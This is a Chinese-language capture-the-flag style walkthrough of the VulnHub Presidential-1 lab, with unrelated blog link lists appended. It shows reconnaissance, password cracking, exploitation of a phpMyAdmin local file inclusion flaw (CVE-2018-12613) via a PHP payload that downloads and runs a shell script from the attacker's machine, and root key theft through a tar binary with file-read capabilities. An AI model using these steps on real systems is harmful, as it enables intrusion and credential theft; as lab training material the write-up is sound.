环境搭建

官网地址:https://www.vulnhub.com/entry/presidential-1,500/

靶机下载地址: https://download.vulnhub.com/presidential/Presidential.ova.torrent

靶机下载完成后将.ova文件导入VMWare



网卡设置为NET模式

环境:

kali:192.168.164.137
Presidential:192.168.164.178

信息收集

扫描主机

nmap -sP 192.168.164.0/24



得到目标靶机的ip地址为192.168.102.134

接着进行端口扫描

nmap -A 192.168.164.178 -p 1-65535



扫描得到目标靶机开放了80端口和2082端口,分别为http和ssh端口

访问80端口:



进行指纹识别:

whatweb http://192.168.164.178



可获得一些信息,php版本,Apache版本等。

使用dirsearch扫描该网站

./dirsearch.py -u http://192.168.164.178 -e*



扫到了一个config.php但是里面什么也没有,还有一个.bak备份文件,访问为空白,习惯性ctrl+u查看源码:



获得了数据库的配置信息,包括数据库用户名,用户密码等信息。但是服务器没有开启数据库端口,扫描目录也未发现登陆数据库的地方。这时候不难想到一个ip可能绑定多个域名,或许可以通过查找其子域名来发现突破点。

首页发现邮件信息:



votenow.local

将其添加到/etc/hosts中



可以正常访问:



接下来爆破子域名,使用subrake或wfuzz工具进行爆破。

wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local



找到一个datasafe的子域名

添加到host进行访问



输入获得的账户名及密码即可登录。

getshell

在users表中找到admin及加密了的一串密码



使用john进行解密

john --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt 1.txt

破解出来的密码为Stella尝试ssh登录一下



显示连接被拒绝。

可以通过phpmyadmin查看其版本为4.8.1



通过网络上搜索,发现存在本地文件包含漏洞(CVE-2018-12613)

首先执行

select '<?php phpinfo();exit;?>'



之后再包含session文件

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_3fel8hnjgqlpplu32s836aqgbhg990ib



可以看到成功执行了php代码,使用同样的方法进行反弹shell

先在kali的网站根目录创建一个shell.sh来供靶机下载



之后执行sql语句

select '<?php system("wget 192.168.164.137/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'



执行完后在kali中监听1100端口

提权

直接su提权试一下



根目录的notes.txt文件提示的大概意思就是让我们使用压缩的命令



使用tars

查看tar的位置

whereis tar



在浏览过程中发现了tarS命令,该命令应该就是提示中所指的新的压缩备份命令了

在linux中引入了capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。与SUID相似,可以限制用户的权限。 查看文件系统中具有capabilities的文件进入文件位置



可以看到tarS命令具有 cap_dac_read_search功能。它可以绕过文件读权限检查,这样我们就可以读取任何我们想要读取的文件

我们可以通过读取root用户的SSH私钥来进行免密登陆

cd /tmp
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082

Presidential-01的更多相关文章

  1. 01.SQLServer性能优化之----强大的文件组----分盘存储

    汇总篇:http://www.cnblogs.com/dunitian/p/4822808.html#tsql 文章内容皆自己的理解,如有不足之处欢迎指正~谢谢 前天有学弟问逆天:“逆天,有没有一种方 ...

  2. 用Kotlin创建第一个Android项目(KAD 01)

    原文标题:Create your first Android project using Kotlin (KAD 01) 作者:Antonio Leiva 时间:Nov 21, 2016 原文链接:h ...

  3. Java企业实训 - 01 - Java前奏

    前言: 虽然个人专攻.NET方向,不过由于个人是干教育行业的,方方面面的东西,不能说都必须精通,但肯定多少都会涉及到. 一个菜鸟学员,从啥都不会,经过一步步学习,最后到企业上手掌管一个模块甚至一个项目 ...

  4. Node.js 教程 01 - 简介、安装及配置

    系列目录: Node.js 教程 01 - 简介.安装及配置 Node.js 教程 02 - 经典的Hello World Node.js 教程 03 - 创建HTTP服务器 Node.js 教程 0 ...

  5. 0042 MySQL学习笔记-入门--01

    基本概念: 数据库DB(database): 数据的仓库,数据的集合,是数据的一种结构化的存储 数据库管理系统DBMS(database management system): 管理数据库的一套软件 ...

  6. Android快乐贪吃蛇游戏实战项目开发教程-01项目概述与目录

    一.项目简介 贪吃蛇是一个很经典的游戏,也很适合用来学习.本教程将和大家一起做一个Android版的贪吃蛇游戏. 我已经将做好的案例上传到了应用宝,无病毒.无广告,大家可以放心下载下来把玩一下.应用宝 ...

  7. ArtifactTransferException: Failure to transfer org.apache.openejb:javaee-api:jar:5.0-1

    最近在myeclipse上创建maven类型的web项目的时候,出现了一个错误. ArtifactTransferException: Failure to transfer org.apache.o ...

  8. Python学习--01入门

    Python学习--01入门 Python是一种解释型.面向对象.动态数据类型的高级程序设计语言.和PHP一样,它是后端开发语言. 如果有C语言.PHP语言.JAVA语言等其中一种语言的基础,学习Py ...

  9. 异步编程系列第01章 Async异步编程简介

    p { display: block; margin: 3px 0 0 0; } --> 2016.10.11补充 三个月过去了,回头来看,我不得不承认这是一系列失败的翻译.过段时间,我将重新翻 ...

  10. 【干货分享】前端面试知识点锦集01(HTML篇)——附答案

    一.HTML部分 1.浏览器页面有哪三层构成,分别是什么,作用是什么? 构成:结构层.表示层.行为层分别是:HTML.CSS.JavaScript作用:HTML实现页面结构,CSS完成页面的表现与风格 ...

随机推荐

  1. swoole错误“Uncaught Error: Class 'swoole_server' not found”的解决办法

    如果你在执行swoole对应文件时,报下面的错误, PHP Fatal error: Uncaught Error: Class 'swoole_server' not found in /mnt/w ...

  2. Solution -「LOCAL」ZB 平衡树

    \(\mathcal{Description}\)   OurOJ.   维护一列二元组 \((a,b)\),给定初始 \(n\) 个元素,接下来 \(m\) 次操作: 在某个位置插入一个二元组: 翻 ...

  3. [LeetCode]4.寻找两个正序数组的中位数(Java)

    原题地址: median-of-two-sorted-arrays 题目描述: 示例 1: 输入:nums1 = [1,3], nums2 = [2] 输出:2.00000 解释:合并数组 = [1, ...

  4. python好用的函数或对象

    1.ljust.rjust "hello".ljust(10,"x") #将字符串hello做对齐,并且用字符'x'补到10个字符 #输出为:helloxxxx ...

  5. 图解python | for循环

    作者:韩信子@ShowMeAI 教程地址:http://www.showmeai.tech/tutorials/56 本文地址:http://www.showmeai.tech/article-det ...

  6. Linux系列——常规基础操作

    ​ 1.配置IP a.若安装桌面版系统,直接GUI画面配置,操作直观.简单 ​ ​ b.若安装非桌面版系统,进行如下配置: 1).ifconfig命令(临时配置,重启后失效) ifconfig eth ...

  7. GAN实战笔记——第五章训练与普遍挑战:为成功而GAN

    训练与普遍挑战:为成功而GAN 一.评估 回顾一下第1章中伪造达・芬奇画作的类比.假设一个伪造者(生成器)正在试图模仿达・芬奇,想使这幅伪造的画被展览接收.伪造者要与艺术评论家(判别器)竞争,后者试图 ...

  8. windows 常用的shell(cmd.exe)命令大全

    Windows常用shell命令大全(转) [Windows常用shell命令大全] 基于鼠标操作的后果就是OS界面外观发生改变, 就得多花学习成本.更主要的是基于界面引导Path与命令行直达速度是难 ...

  9. JVM学习笔记(详细)

    目录 01 JVM与Java体系结构 简介 JVM整体架构,HotSpot java代码执行流程 JVM架构模型 JVM生命周期 JVM发展历程 02 类加载子系统 JVM细节版架构 类加载器的作用 ...

  10. 用MySQL碰到的一些“坑”

    本篇文章持续更新. 这里说坑,也不算坑,只是对我一个经常用SQL Server的来说有点不习惯而已. 一.GroupBy 的不同 create table Customer ( CustomerNum ...